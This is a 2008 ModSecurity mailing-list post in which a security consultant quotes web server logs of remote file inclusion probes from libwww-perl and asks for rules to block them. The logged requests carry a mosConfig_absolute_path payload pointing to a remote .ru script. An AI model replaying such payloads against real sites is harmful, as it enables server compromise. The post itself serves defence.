[mod-security-users] Need a little assist please

[Albert E. W. <aewhale@ABS-CompTech.com>]

I have notice too many of these cowboys running amuck on the net.

62.141.48.47 - Visitor [10/Aug/2008:09:44:31 -0400] "GET 
/webhosting/cms///?mosConfig_absolute_path=http://www.archf-ck.ru/administrator/components/com_remository/id.txt???? 
HTTP/1.1" 404 10467 "-" "libwww-perl/5.65"
62.141.48.47 - Visitor [10/Aug/2008:09:44:32 -0400] "GET 
///?mosConfig_absolute_path=http://www.archf-ck.ru/administrator/components/com_remository/id.txt???? 
HTTP/1.1" 200 10467 "-" "libwww-perl/5.65"
62.141.48.47 - Visitor [10/Aug/2008:09:44:32 -0400] "GET 
///?mosConfig_absolute_path=http://www.archf-ck.ru/administrator/components/com_remository/id.txt???? 
HTTP/1.1" 200 10467 "-" "libwww-perl/5.65"
62.141.48.47 - Visitor [10/Aug/2008:09:44:33 -0400] "GET 
/webhosting///?mosConfig_absolute_path=http://www.archf-ck.ru/administrator/components/com_remository/id.txt???? 
HTTP/1.1" 404 10467 "-" "libwww-perl/5.65"
62.141.48.47 - Visitor [10/Aug/2008:09:44:33 -0400] "GET 
/webhosting///?mosConfig_absolute_path=http://www.archf-ck.ru/administrator/components/com_remository/id.txt???? 
HTTP/1.1" 404 10467 "-" "libwww-perl/5.65"
62.141.48.47 - Visitor [10/Aug/2008:09:50:55 -0400] "GET 
/webhosting/cms/drupal///?mosConfig_absolute_path=http://www.archf-ck.ru/administrator/components/com_remository/id.txt???? 
HTTP/1.1" 404 10467 "-" "libwww-perl/5.65"


Since there are no really useful connections from libwww-perl (are there 
any???) I would like to ban these from my server.

Can someone assist with a ruleset to get this going?

TIA
-- 
Albert E. Whale, CHS CISA CISSP
Sr. Security, Network, Risk Assessment and Systems Consultant
------------------------------------------------------------------------
ABS Computer Technology, Inc. <http://www.ABS-CompTech.com> - Email, 
Internet and Security Consultants
SPAMZapper <http://www.Spam-Zapper.com> - No-JunkMail.com 
<http://www.No-JunkMail.com> - *True Spam Elimination*.